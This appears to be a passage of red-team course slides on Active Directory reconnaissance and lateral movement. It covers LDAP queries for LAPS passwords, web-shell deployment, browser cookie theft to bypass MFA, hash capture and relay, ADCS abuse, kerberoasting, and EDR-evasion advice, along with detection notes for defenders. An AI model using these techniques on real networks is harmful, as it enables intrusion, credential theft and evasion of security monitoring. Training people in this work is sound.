MYSITE/god MYSITE/Domain Admins

369
Internal Reconnaissance
The previous command will generate the output and can easily be used
to search through it offline. It doesn’t drop file on the target system

This command may take a while to run

370
Internal Reconnaissance
The same concept can be used to find hosts where the current users
are granted with local administrative privileges
Find-LocalAdminAccess

The downside of this command is that it is perform pretty much the


same as GetComputer + Get-NetLocalGroup + Invoke-CheckLocalAdminAccess on all
systems but you don’t get the output

Meaning that every time you want to hunt a user, you will perform
the same action

371
Internal
Reconnaissance
FOR EXAMPLE: POWERVIEW CAN BE USED TO
LIST ACTIVE SESSIONS

PS> GET-NETCOMPUTER | GET-NETSESSION

THIS COMMAND WILL RETRIEVE THE LIST OF


COMPUTERS AND THEN CONNECT TO EACH
OF THEM ASKING FOR SESSION. THIS RELIES
ON THE NETSESSIONENUM API

372
Internal Reconnaissance
PowerView offers
several cmdlets
that may be quite
useful

SharpView offers
the same kind of
features

373
Internal Reconnaissance
BloodHound offers the same kind of features, and the output (JSON)
can be linked in a neo4js system to perform query efficiently

The downside is that the json is generated on the client and it will
DROP FILES on the targets

The JSON processing is also time consuming in an average network; the


task will take at least 4 hours to complete

374
Internal Reconnaissance
Once you have Domain Admins credentials, you can also hunt user’s
computer
Let say the intranet says that the owner of the SuperDatabase is
managed by John Smith
You can search John Smith samaccountname using:
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
FullNameToSamAccount.ps1

375
Internal Reconnaissance
Once you have the samaccountname, you can query logon events across DCs and
find his workstation:
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-
EventForUser.ps1
You can search across DCs using –FindDC True or force a single host using –
ComputerName name
.mysite.com
.mysite.com
.mysite.com
-calon.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com
.mysite.com

376
Internal Reconnaissance
Hunting for easy targets
Printers with default credentials

These printers may also have LDAP configured and expose a more privileged
account

377
Internal Reconnaissance
Simply change the LDAP server and wait for the credentials to be sent
in clear

378
Exercise
Dump user
information
Internal Reconnaissance
Managed By can grant local admin without a group
(objectCategory=user)(objectClass=user)(distinguishedName=%manage
dBy%)

Classic user attributes


(&(objectClass=user))
name,givenname,displayname,samaccountname,adspath,distinguished
name,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,s
treet,userpassword

380
Internal Reconnaissance
LAPS password
(&(objectClass=computer))
ms-mcs-AdmPwd

Classic computer attributes


(&(objectClass=computer))
name,displayname,operatingsystem,description,adspath,objectcategor
y,serviceprincipalname,distinguishedname,cn,lastlogon,managedby,ma
nagedobjects
381
Internal Reconnaissance
Classic group attributes
(&(objectClass=group))
name,adspath,distinguishedname,member,memberof

382
Internal Reconnaissance
Classic password settings attributes
(&(objectClass=msDS-PasswordSettings))
name,distinguishedName,msDS-MinimumPasswordLength,msDS-
PasswordHistoryLength,msDS-PasswordComplexityEnabled,msDS-
PasswordReversibleEncryptionEnabled,msDS-LockoutThreshold,msDS-
PasswordSettingsPrecedence

383
Internal Reconnaissance
Classic SPN query
(&(objectcategory=computer)(servicePrincipalName=*))

384
Internal Reconnaissance
Nothing useful yet?

Enumerate shares you have access to using PowerView, SharpView or C#

Invoke-ShareFinder

Finds (non-standard) shares on hosts in the local domain

Invoke-FileFinder

Finds potentially sensitive files on hosts in the local domain


385
Internal Reconnaissance

Still nothing? Check domain trust: you These domains may expose
may have bidirectional trust interesting computers.
between your domain and Time to do the
other domains reconnaissance again on
the other domain

386
Internal Reconnaissance
Still out of luck?
Hunt for potentially vulnerable OS. Active Directory does have an
operation system attribute
The C# utility can dump the information about all of the computers

https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

This can be run via execute-assembly too

387
Internal Reconnaissance

388
Internal Reconnaissance
LDAP is full of surprise LdapAdmin can
help you discover attribute you never
heard of before

http://www.ldapadmin.org/down
load/ldapadmin.html

389
Internal Reconnaissance
LDAP objects permission is stored in the nTSecurityDescriptor
using the SDDL format

This information is accesible to regular authenticated domain user

390
Internal Reconnaissance

391
Internal Reconnaissance

SDDL will be translated to human readable format

https://github.com/Mr-
Un1k0d3r/ADHuntTool/

392
Internal Reconnaissance

Authenticated Users with standard


permission on the object

Misconfigured object

393
Internal Reconnaissance

RUNNING EXPLOIT WARNING

We previously stated that, like your toolset, make sure you understand
how the exploit works to minimize the risk of crashing the remote
target

394
Internal Reconnaissance
Not getting anywhere?
A good start: You can try to run light scan to look for portal, usually ports
80,443,8080 and 8443
▪ If you are running the scan remotely using nmap, make sure you are using
the –sT option (Full TCP connect option) to blend in as legitimate traffic
▪ Full TCP connection will look less suspicious than a syn scan
▪ Always make sure you remove the ping –Pn once again or your ping may be
detected as a ping sweep
▪ A typical nmap scan performed during a red team:
nmap –sT –Pn –vvvv –p80,443,8080,8443 –oA output 10.0.0.0/24

395
Internal Reconnaissance
I highly recommend writing a small port scanner using C# or C

You can simply connect (full TCP connect by default) to the remote
host, using socket to confirm something is alive on the other side

396
Internal Reconnaissance
Same technique used during the external reconnaissance can be used
to fingerprint the host using C# equivalent of aquatone through your
shell

Aquatone will work on both Linux and Windows, because it’s a go


binary

397
Internal Reconnaissance
The reason why port 8080 and 8443 are part of the scan?

Management console

Several other ports can be used, but scan is bad when it come to red team. You may
be able to identify server purpose by looking at the description or the name in
the Active Directory

398
Internal Reconnaissance
There are several known portals that run on port 8080
It is not rare that you will find development environment running Jboss / Tomcat and the rest of the
family without enforcing authentication
Even if the systems are considered to be development, they may be joined to the domain exposing
domain credentials
They can be used to execute code

399
Internal Reconnaissance
A war file is pretty much a zip with a specific structure

Folder structure

web.xml inside the WEB-INF folder

400
Internal Reconnaissance
▪ Once it is deployed on the server, you will gain code execution within
the context of the application

▪ Usually, a web shell is the first stage, and it can be used to upgrade to
a full RAT

https://ringzer0ctf.com/static/cmd.war

401
Internal Reconnaissance
Tomcat, Jenkins and Jboss over endpoints that can be used to run
arbitrary code. You can hunt for these using the following tools

Powershell
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Find-
Fruit.ps1

C#
https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/webhunter.cs
402
Internal Reconnaissance
Jenkins build artifact may contains juicy information

Build will generate artifact and test cases

403
Internal Reconnaissance
Typical artifact output file

404
Internal Reconnaissance
In this case, an automation account was used to login into the
production service using Okta (MFA solution)

But the automation account had MFA disabled, since it needed to be


automated to be able to perform the check

405
Internal Reconnaissance

Several other products may have such Never seen the solution before? Google
featured. Don’t hesitate to play with may know the default password.
them if you can access them with default
credentials.

406
Internal Reconnaissance
I did find an aircraft controller console’s default credentials in their
online documentation

Everything that is connected tend to have a portal

407
Internal Reconnaissance
Several products expose services that accept Java serialized objects
Such features allow the execution of arbitrary code on the remote
system
Java RMI (Remote Method Invocation) is acting like an RPC endpoint
but lack of authentication sometimes
Ysoserial can be used to craft the serialized object needed
https://github.com/frohoff/ysoserial

408
Internal Reconnaissance
You can generate payload using the following command:

409
Internal Reconnaissance
Note that .NET applications suffer from the same issue. Ysoserial also
has a tool to create serialized objects in .NET
https://github.com/pwntester/ysoserial.net

410
Internal Reconnaissance
Do not hesitate to use to Google to validate if one of the portals you
found is vulnerable
Deserialization bugs are found in a lot of products, including:
▪ Vmware
▪ CISCO
▪ Jenkins
▪ HP products
▪ Apache modules
▪…

411
Internal Reconnaissance

412
The victim is connected on VPN network that is
valuable

Your shell also has this access. Try to pivot as fast


as possible on a system on the other side of the
Internal VPN

Reconnaissance Surprisingly, these valuable systems may have full


Internet access or at least DNS

No need to compromise the VPN MFA

413
You absolutely need to compromise the MFA?

In the case of RSA token, you can set an emergency pin for
a specific user once you gain access to the RSA console
Internal How can I gain access to the RSA console itself?
Reconnaissance
You managed to gain access to a system where an admin
is currently working in the RSA server

Let’s steal the cookie

414
Internal Reconnaissance
Each browser stores cookies in a slightly different way.
For example, Chrome stores the cookies in a Sqlite database and
encrypts them using DPAPI (Data Protection Application Programming
Interface)
The data can be decrypted using the following API
System.Security.Cryptography.ProtectedData.Unprotect(
data,
null,
System.Security.Cryptography.DataProtectionScope.CurrentUser);

415
Internal Reconnaissance
Since Chrome is using the CurrentUser attribute, make sure that you
are running your tool within the same user context

https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/cookies-monster.cs
416
Internal Reconnaissance
WebKit use a different approach. A master key is encrypted in the
“Local State” file within the %appdata%. The key is encrypted using the
same technique.

Once the key is decrypted you get the master key to decrypt the
cookies (AES GCM mode)

417
Internal Reconnaissance

418
Internal Reconnaissance

419
Internal Reconnaissance

Once you got the cookie, you can socks Without knowning a single password or
proxy your traffic and connect to the the MFA token, you are in
remote service by adding the cookie
manually to your requests

420
Internal Reconnaissance
Dump browser memory and hunt for password in POST data

421
Internal Reconnaissance
20 minutes after I entered the credentials, the request was still living in
my process memory

422
Internal Reconnaissance
You can also use lazagne do dump every possible password

https://github.com/AlessandroZ/LaZagne

Or use browse pivot to inject yourself into the browser and gain the
same level of access; this is built in Cobalt Strike

423
Internal Reconnaissance
List of software supported by lazagne

There is a lot

424
Internal Reconnaissance
You may find cached credentials for the domain or
interesting management console

425
Internal reconnaissance is usually the most
exhausting part of a red team

You need to understand the environment

Internal You need to slowly dicovers the assets


Reconnaissance
You need to identify the key assets

You need to go through all of the information you


can gather on shares

426
Internal Reconnaissance
Never underestimate Active Directory misconfiguration or abuse
such as:

▪ Nested groups
▪ Managed By
▪ Delegated Account
▪ User account with SPN
▪ NetBIOS
▪ ADCS

427
Internal Reconnaissance
▪ RPC that allows remote connection
▪ Excessive administrative privileges (user local admin)
▪ Insecure network share (Citrix profile etc…)
▪ Service accounts with weak passwords
▪ Never expiring passwords
▪ Legacy Systems

428
Internal Reconnaissance
Most of the Active Directory out there were created in the early 2000,
there is a bunch of legacy and backward compatibility settings in place

▪ NetNTLMv1 downgrade
▪ Password stored in using a reversible algorithm
▪ SPN accounts
▪ GPPs
▪ LDAP attributes

429
Internal Reconnaissance
During a red team you can use pretty much the same toolset just in a
different way.

For example, pingcastle https://github.com/vletoux/pingcastle can be


used to gather LDAP misconfiguration; it’s a simple .NET executable

430
Internal Reconnaissance
Classic way to run it

cmd.exe /c pingcastle.exe

Red team stealthier way


execute-assembly C:\your\computer\pingcastle.exe

Red team even more stealth (no sacrificial process)


bof execute_assembly C:\your\computer\pingcastle.exe
431
Internal Reconnaissance
The context of execution matters and the way you do it

EDR tend to improve their detection capabilities by making correlation


between events

432
Internal Reconnaissance
Side note: pingcastle is super cool to collect Active Directory info

433
Internal Reconnaissance
It include comprehensive data for each control

434
Internal Reconnaissance
Side note on unconstrained delegations

▪ To be exploitable you need to be able to create a computer account


(default 10 per users)

▪ And the system associated with the account need to be long gone

You can always use LDAP to search for it


ldapsearch (&(objectClass=user)(samaccountname=user))
ServicePrincipalName

435
Internal Reconnaissance

Be careful of what you report, not all the


data reported is exploitable. As part of a red
team if a path is identified, it should be
exploited and validated. Keep your findings
factual not hypothetical.

436
15 minutes
break

437
Lateral Movements
Capturing credentials
Possessing access to the target network exposes several ways to get
credentials

NetBIOS and MITM can be achieved without possessing domain


credentials

438
Lateral Movements
• NetBIOS is an acronym for Network Basic Input/Output System. It
provides services related to the session layer of the OSI model
allowing applications on separate computers to communicate over
a local area network
• In a Windows environment, such communication is usually
authenticated
• The target system may broadcast certain requests that the attacker
can respond to and ask for authentication. If the victim responds, the
hash will be captured

439
The whole ecosystem consists of several
protocols, such as NBNS and LLMNR. The
authentication can be captured on each of
them

Lateral The authentication can be relayed if SMB


signing is not enabled
Movements
Which means that you can relay the
authentication to another host and
potentially execute arbitrary code without
even cracking the hash

440
Lateral Movements

When relaying the hash is not an option, the hash can be cracked
offline
NetNTLMv2 hashes can be cracked in a fairly reasonable (less than a
day) amount of time for an average password

441
You can capture hashes on the network using
Responder
https://github.com/SpiderLabs/Responder

Lateral
Movements You can also run it via Cobalt Strike using the
powershell or CSharp equivalent

https://github.com/Kevin-Robertson/Inveigh
https://github.com/Kevin-
Robertson/InveighZero
Lateral Movements

NetBIOS spoofing can be https://github.com/fox- Using IPv6 may evade the detection
performed over IPv6 it/mitm6 in place, since most networks only
monitor the IPv4 stack, assuming that
IPv6 is not configured nor monitored

443
Lateral Movements
HTTPS internal: no need for that, right?
It is pretty common to see corporate intranet using Active Directory to
authenticate users
Using the NTLM Negotiate, the browser can transparently authenticate
the user against the portal

What if the portal is not enforcing HTTPS?

444
Lateral Movements
HTTPS internal: no need for that, right?
In this case, an ARP spoofing attack may allow you to reroute the traffic
via your host; since you are the gateway, you will see all the victim
traffic
You may be able to hunt for:
▪ Cleartext passwords
▪ Authentication exchange (NTLM Negotiate can be cracked like NetNTLMv2
hashes)
▪ Sensitive information

445
Lateral Movements
Typical gateway poisoning

Save the network traffic using tcpdump

446
Lateral Movements
• You managed to gain access to a domain user account, what’s next?
• You can remotely query a DC and dump computers, users and SPNs
• Remotely, it can be performed using RPC or LDAP utility

447
Lateral Movements
Ldapsearch on Linux can be used to query (&(objectClass=user)) on the
domain

Impacket also offer GetADUsers.py utility


https://github.com/SecureAuthCorp/impacket/blob/master/examples/
GetADUsers.py

Ldap Utility on Windows


https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

448
Exercise
Identify how
GetADUsers.py is
gathering the
information
Lateral Movements

450
Lateral Movements

LDAP LDAP LDAP LDAP

451
Lateral Movements
Guess which process is running the LDAP instance?

452
Lateral Movements
Our friend lsass.exe

There is not much EDR LDAP monitor yet, but knowing that it’s running
as part of lsass, they could easily hook some of the call and capture
LDAP queries

Expect more LDAP detection in the future… (I hope)

453
Lateral Movements
Active Directory contains a lot of attributes; legacy application used to
store password in clear in the userPassword field

Network’s Administrators may have put some information in the


account description

Tons of LDAP attributes are accessible and can be dumped as a regular


user

https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputility.exe

454
Lateral Movements
The utility will produce the
following output for a specific
user:

Keep in mind that if you are


dumping the whole Active
Directory through a shell you
have on a compromised
system, you may slow down
your shell callback capability

455
Lateral Movements
Speaking of LDAP another cool one is ADCS

https://posts.specterops.io/certified-pre-owned-
d95910965cd2

Long story short, ADCS is mostly poorly implemented and


ADCS is doing all the work over HTTP, most company don’t
have visibility

456
Lateral Movements
Certificate misconfiguration can be abused to obtain
privileged access

https://github.com/GhostPack/Certify

The most common vector is when


ENROLLEE_SUPPLIES_SUBJECT is allowed to domain users

A regular user can request a certificate with multiple names

457
Lateral Movements

The LDAP instance contains


information about the
certificate authority in place

458
Lateral Movements

459
Lateral Movements
Speaking of LDAP and ADCS what about RPC? Or a mix of all of
these together?

Looking at you PetitPotam RPC -> ADCS -> Domain Admins

Under the hood, PetitPotam is abusing of an RPC service:


EFSRPC

460
Lateral Movements
RPC you said?

https://github.com/Wh04m1001/DFSCoerce

Leveraged the same concept

461
Lateral Movements
There is a ton of them available
https://docs.microsoft.com/en-us/openspecs/protocols/ms-
protocolslp/9a3ae8a2-02e5-4d05-874a-b3551405d8f9

462
Lateral Movements
I gathered a list of them that you can find in the portal

The file is named protocol.docx

You can search for all function that remotely do something

463
Lateral Movements

464
Lateral Movements
Have fun searching through all Microsoft PDFs

I have 400 of them in the RPC.zip file

There is at least 3 other way to get a callback in there :)

465
Lateral Movements
Reading Microsoft documentation is the key. ADCS Certify was
cool, but what about an actual CVE. CVE-2022-26923 abuse of
a bug in Active Directory and The certificate request

Long story short, user have UPN and computer have SPN

You can create your own computer account and request a


certificate for it. The SPN value is used to validate the
hostname. Remove it and you can ask for whatever you want

466
Lateral Movements
Create an account by default, you are allowed to create 10 of
them

▪ The machine template support SubjectAltRequireDns


▪ Update the dNSHostName to a DC name
▪ Delete the servicePrincipalName attribute
▪ Request a cert for it
Voilà, you have local admin right on a DC

467
Lateral Movements
Using ADCS to privesc from virtual and network service accounts to local
system

https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-
from-virtual-and-network-service-accounts-to-local-system/

468
Lateral Movements
Main takeaway here is

BE CURIOUS

469
Lateral Movements
Found a host that has VMs running, you can extract files for
the image

https://github.com/CCob/Volumiser

470
Lateral Movements
Once you extract a list of users, you can perform password spraying to
gather more accounts
You can perform authentication remotely using smb as the target:
▪ The easy way

471
Lateral Movements
There are scripts available:

▪ You can use https://github.com/Mr-


Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Invoke-
ADPasswordBruteForce.ps1, if you have access to a compromised
workstation
▪ https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputility.exe using
the PasswordBruteForce switch

472
Lateral Movements
Credentials can also be found in exposed shares including the SYSVOL folder located on domain
controllers
The Groups.xml file can be used to set local administrator on remote system via GPP

The key is public and the password can be retrieved. You can automate the process using utility such
as https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-
GPPPassword.ps1

Microsoft mitigated this one by removing the feature. You may still find an old one. LAPS is also
super popular now to avoid reusing local administrator password

473
Lateral Movements
The kerberoasting attack takes advantage of how service accounts leverage
Kerberos authentication with Service Principal Names (SPNs). Any users on the
domain can request a service ticket (TGS) for services accounts that have the SPN
configured
The ticket is encrypted using the account password, meaning that it can be
attacked
Several publicly available tools can be used to retrieve the ticket
▪ https://github.com/GhostPack/Rubeus
▪ https://github.com/nidem/kerberoast
▪ https://github.com/EmpireProject/Empire/blob/master/data/module_source/cre
dentials/Invoke-Kerberoast.ps1
▪ https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSP
Ns.py

474
Lateral Movements

Before you attempt to The (&(servicePrincipalNa (!(UserAccountContro


extract the account UserAccountControl is me=*)(UserAccountC l:1.2.840.113556.1.4.
hashes ,you can list not 2 = ontrol:1.2.840.11355 803:=2))(!(objectCate
the account that SPN DISABLED_ACCOUNT 6.1.4.803:=512) gory=computer))
using LDAP USERACCOUNTCONTR
OL IS 512 =
NORMAL_ACCOUNT

475
Lateral Movements
A regular user can request a ticket for any server principal and can
attempt a brute force

The ticket is encrypted using the account password as the key

Several type of encryption can be used:


Check the msDS-SupportedEncryptionTypes Attribute in Active Directory

476
Lateral Movements
The defaults setting are RC4_HMAC_MD5 | AES128_CTS_HMAC_SHA1_96 | AES256_CTS_HMAC_SHA1_96

▪ AKA 0x1C or 28 in decimal

477
Lateral Movements
Impacket is a wonderful suite of tools that can be used to perform
lateral movement, but at what cost?
The case of wmiexec.py
It start with a good ol’ NTLMSSP NEGOTIATE to authenticate the user

478
Lateral Movements
Then it initializes the remote wmi instance over DCERPC

479
Lateral Movements
Then, it opens the Win32_Process to ready the process creation

480
Lateral Movements
Finally, the process is registered, and the command is executed

481
Lateral Movements
The output is retrieved over SMB3

SMB3 is the latest version that fully encrypt the data. You can
downgrade it to SMB1 for you test and see the data

482
Lateral Movements
The process tree confirms the execution via the WMI process

483
From a detection perspective, we
observed the following behavior

SMB authentication

Cmd.exe was spawned by


Lateral Movements WmiPrvSe.exe

File written to disk

File transferred over SMB

484
Lateral Movements
Lateral movement using PoisonHandler https://github.com/Mr-
Un1k0d3r/PoisonHandler
DCERPC to modify the remote host registry key to register the protocol
handler

485
Lateral Movements
The registry key is added using StdRegProv::CreateKey

486
Lateral Movements
The rest of the execution remains unchanged, except that instead of
executing the command directly over WMI, the previously defined
protocol handler is used which hide the true command

start ms-browser://
rundll32 url.dll,FileProtocolHandler ms-browser://

487
From a detection perspective, we
observed the following behavior

DCERPC authentication

Lateral Modifying registry key


Movements
Call rundll32 or spawn

cmd.exe

488
Quick note on the protocol we saw

SMB (Server Message Block) is


encapsulating the authentication and
can be used for file transfer
Lateral
Movements DCE/RPC (Distributed Computing
Environment / Remote Procedure
Calls) is doing all the remote
procedure magic

489
Lateral Movements
The psexec.py case (note that psexec.exe is using the same approach)
Once again NTLMSSP NEGOTIATE over SMB
Then SMB3 exchange right away

490
Lateral Movements
The SMB3 exchange is used to push the exe file that will be registered
as a service

491
Lateral Movements
The service executes the command

492
Lateral Movements
psexec.py generates an arbitrary service name and file name. However,
psexec.exe always registers the same service and the service executable
name is the same:
psexecsvc
smbexec.py uses the same approach and registers a service named
“BTOBTO” by default; the output is saved to a file and retrieved over
SMB

493
From a detection perspective, we
observed the following behavior:

SMB authentication

Lateral Pushing executable


Movements
Registering service and starting a
service

cmd.exe spawned

494
Lateral Movements
The atexec.py case
Once again NTLMSSP NEGOTIATE over SMB
Then SMB3 exchange right away

495
Lateral Movements
It is transferring the task file

Windows scheduled tasks


are actually XML file

The output is saved to a file


and downloaded over SMB

496
Lateral Movements
Finally, the task is executed via svchost.exe and the output is saved to a
file. The output is retrieved over SMB

497
From a detection perspective, we
observed the following behavior

SMB authentication

Lateral Pushing file to disk


Movements
Registering a scheduled task

cmd.exe spawned

498
Lateral Movements
The dcomexec.py case
Once again NTLMSSP NEGOTIATE over SMB

499
Lateral Movements
Like WMI execution, DCERPC is then used to initialize a remote
instance. In this case, the instance is based on the COM object used

500
Lateral Movements
The instantiated object invokes a method, in this case, ShellExecute

501
Lateral Movements
The output is saved to a file

502
Lateral Movements
Then once again the output is retrieved over SMB

503
Lateral Movements
The command is executed through the DCOM launch

504
From a detection perspective, we
observed the following behavior:

SMB authentication

Lateral Initializing COM object over DCERPC


Movements
cmd.exe spawned

File written on disk

505
Lateral Movements
The WinRM case
Once again NTLMSSP NEGOTIATE over… HTTP this time

506
Lateral Movements
WSMN is launching the process

507
Lateral Movements
▪ Note that WinRM is a Windows feature, which explain why the
execution flow is a bit more straight-forward

▪ Unfortunately, by default the WinRM trustedhosts list is empty which


mean that you can’t connect to it even if it’s running

508
From a detection perspective, we
observed the following behavior:

HTTP authentication
Lateral Movements
The WSMAN process is launched

cmd.exe spawned

509
Lateral Movements
SCShell technique:
This technique relies on Service Manager to update the binary path
name of an existing service; it is technically a fileless lateral movement
technique
https://github.com/Mr-Un1k0d3r/SCShell

510
Lateral Movements
DCERPC is used to initialize the SVCCTL (Service Control Manager
Remote Protocol)
Notice that, in this case, the authentication occurs over DCERPC

511
Lateral Movements
The SVCCTL is calling the following APIs
OpenSCManagerA Get a SCManager handle
OpenServiceA Open a handle on the target service
QueryServiceConfigA Query service binary path name
ChangeServiceConfigA Update the binary path name to the attacker controlled one
StartServiceA Start the service to trigger the binary path
ChangeServiceConfigA Revert to the original binary path name

512
Lateral Movements
Using a Windows binary, such as regsvr32.exe, allows to execute code
on the remote system without dropping a file on disk

513
From a detection perspective, we
observed the following behavior

DCERPC authentication
Lateral Movements
Service is modified

A service is started and executed


commands

514
Lateral Movements
When I released SCShell, it was a fairly new concept. Which prove that
you are always limited by your own knowledge when it come to
detection and attack

https://community.rsa.com/t5/rsa-netwitness-platform-blog/using-
the-rsa-netwitness-platform-to-detect-lateral-movement/ba-p/521300

515
Lateral Movements
IMPORTANT NOTE

This is why I think doing your own research and coming up with your
own ways of doing things will be valuable, since defender detect was is
well known/used

They can’t hook every single APIs or monitor every protocols, be


creative, go where nobody else when

516
Lateral Movements
The CobaltStrike case
psexec option is pretty much the same as the standard psexec
However, Cobalt Strike is using the following structure

517
Lateral Movements
The CobaltStrike case

By default, every lateral movement technique


used will invoke powershell

518
Lateral Movements
When it comes to red team, if you are running
powershell.exe, YOU ARE DOING IT WRONG

Always use unamanged powershell or something


else

519
Lateral Movements
The CobaltStrike case using wmi

520
Lateral Movements
The command is built using the following syntax

521
Lateral Movements
Advanced note:
Cobalt Strike offers several ways to modify the payload structure using
engine script

This is going to be discussed in more detail in the advanced module of


the training

522
Lateral Movements
Based on all the information we have, we may revisit the
definition of stealth lateral movement technique:
You are going to have to
You are going to have to run
authenticate at some point on the
something at some point
remote host

You can, however, limit the action to simply:

Authenticate Run something

523
Lateral Movements
▪ Building your own toolset:
▪ A simple wmi utility will let you pick the process you want to run; no
need to start the execution chain using cmd.exe
▪ The utility can be used in pretty much every context
▪ https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Remote-
WmiExecute.ps1

524
Lateral Movements
▪ Running regsvr32 directly via wmi without dropping a file on disk

▪ Since the utility is a simple Powershell cmdlet, this can be used as an


unmanaged powershell command. Authentication can be either via
password or Kerberos

▪ Can be used with unmanaged powershell

525
Lateral Movements

526
Lateral Movements

Getting the command Lateral movement Use it to get access to the


output is extremely command should be as host, then run more
expensive from a detection simple as possible complex commands
perspective through another channel

527
Lateral Movements
It’s also important to note that what you run on the remote host
matters, once again based on the behavior we observed a payload may
goes through the detection in place. And again, EDR reconnaissance
may help

List of hooks per EDRs https://github.com/Mr-Un1k0d3r/EDRs

528
Lateral Movements

THEY DETECT PROCESS AVOID USING SHELLCODE


INJECTION AND MEMORY EXECUTION
SHENANIGANS

529
Lateral Movements

THEY DETECT FILE ON DISK AVOID ANY TECHNIQUES


THAT CREATE FILE ON DISK

530
Lateral Movements

THEY DETECT SHADY PROCESS AVOID USING POWERSHELL OR PROCESS


TREE THAT MAY BE SUSPICIOUS

531
Lateral Movements

THEY HAVE HOOKS IN PLACE UNHOOK THE APIS OR USED


APIS THAT ARE NOT HOOKED

532
Lateral Movements
Don’t be scared to create your own lab and adapt the available toolset
to remain as stealth as possible

You can also adapt existing tools to change the way it works

533
Exercise
Adapt wmiexec.py to
run a process without
cmd.exe and remove
output
Lateral Movements

535
Lateral Movements

536
Lateral Movements
We can confirm the pattern

537
Lateral Movements
You can bypass detection by leveraging trusted binaries:
The LOLBAS compiled a list of them https://github.com/LOLBAS-Project/LOLBAS
▪ rundll32.exe
▪ regasm.exe
▪ regsvr32.exe
▪ msbuild.exe
▪ cscript.exe
▪ cdb.exe
▪ update.exe (Teams update)
▪ …

538
Lateral Movements

Finally, make sure that you understand what


your toolset is doing in the background

539
Lateral Movements

Architecture matters
You CAN’T inject x86 into a x64 process and vice versa

540
Lateral Movements
Technically this is not 100% accurate, you can abuse of the heaven
gate’s
https://medium.com/@fsx30/hooking-heavens-gate-a-wow64-hooking-technique-
5235e1aeed73
http://www.alex-ionescu.com/?p=300

541
Lateral Movements

The Cobalt Strike Powershell Stager

542
Lateral Movements

543
Lateral Movements
The stager is validating the current process architecture before
executing the payload decoder stored in $DoIt variable

This check is added when generating the 32 bits version of the payload,
since most systems will launch Powershell as a 64 bits process
544
Lateral Movements
Architecture is critical for the next step:

The shellcode is copied to memory and will be executed; wrong


architecture will result in a crash

545
Lateral Movements
From an opsec perspective, even if you are using unmanaged powershell to run the payload, you
may end up calling Powershell
For example, using PowerLessShell: https://github.com/Mr-Un1k0d3r/PowerLessShell

546
Moral of the story: if you are using a 64 bits shellcode, make
sure you are using the right architecture
32 bits msbuild.exe:
• C:\Windows\Microsoft.NET\Framework\v4.0.30319
64 bits msbuild.exe:
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319
32 bits powershell.exe:
Lateral Movements • %SystemRoot%\syswow64\WindowsPowerShell\v1.0\
64 bits powershell.exe:
• %SystemRoot%\system32\WindowsPowerShell\v1.0\

547
Lateral Movements
What are my options to run code?
Cobalt Strike offers the following main options:
▪ execute-assembly
▪ powershell
▪ powerpick
▪ shell
▪ inline-execute (bof file)
▪ inject

548
Lateral Movements
Execute-assembly:
Execute assembly is loading a .Net executable in memory without
touching the disk

549
Lateral Movements
.spawn() mean a sacrificial process is going to
be launched

550
Lateral Movements
The constructor is calling JobSimple constructor

551
Lateral Movements
The constructor simply sets the tasker according to the argument

552
Lateral Movements
The ReflectiveDLL class is taking
care of preparing the underlying
dll to execute the final payload

553
Lateral Movements
Everything is ready; the spawn method is then called

554
Lateral Movements
Powershell:
Simply invoke Powershell and execute a command

555
Lateral Movements
Powershell:
If POWERSHELL_COMMAND is set, you can override the format. If not
set, it simply encodes the command and executes it via powershell

556
Lateral Movements
Powerpick:
Use unmanaged powershell technique to run powershell without
invoking powershell.exe

557
Lateral Movements
The beacon will inject the proper dll according to the architecture

558
Lateral Movements
Enables unmanaged hosts to load the common language runtime (CLR) into a process
The Common Language Runtime (CLR), the virtual machine component of Microsoft .NET
framework, manages the execution of .NET programs

559
Lateral Movements
A named pipe is created to capture the output

560
Lateral Movements
Named pipe are cool and can be used to to exchange information
between process and can be called remotely too

\\\\ip\pipe\yourpipe

\\.\pipe\yourpipe

Spoiler alert SMB beacon use named pipe for communication

561
Lateral Movements
You can also run unmanaged powershell via C# directly

562
Lateral Movements
Shell:
Execute a system command via %COMSPEC% aka cmd.exe

563
Lateral Movements
Keep in mind that several commands will inject process in memory:
▪ Any Mimikatz related commands
▪ Spawn commands that execute shellcode
▪ Pass the hash
▪ Keylogger
▪ Inject*
▪ Hashdump
▪ DCSync
▪ Browser pivot
▪ …

You may want to unhook your process before the injection to calm
down the EDR

564
Lateral Movements
Also keep in mind that Spawn under will execute powershell

Same goes for bypass UAC

565
Lateral Movements
Powershell download gradle

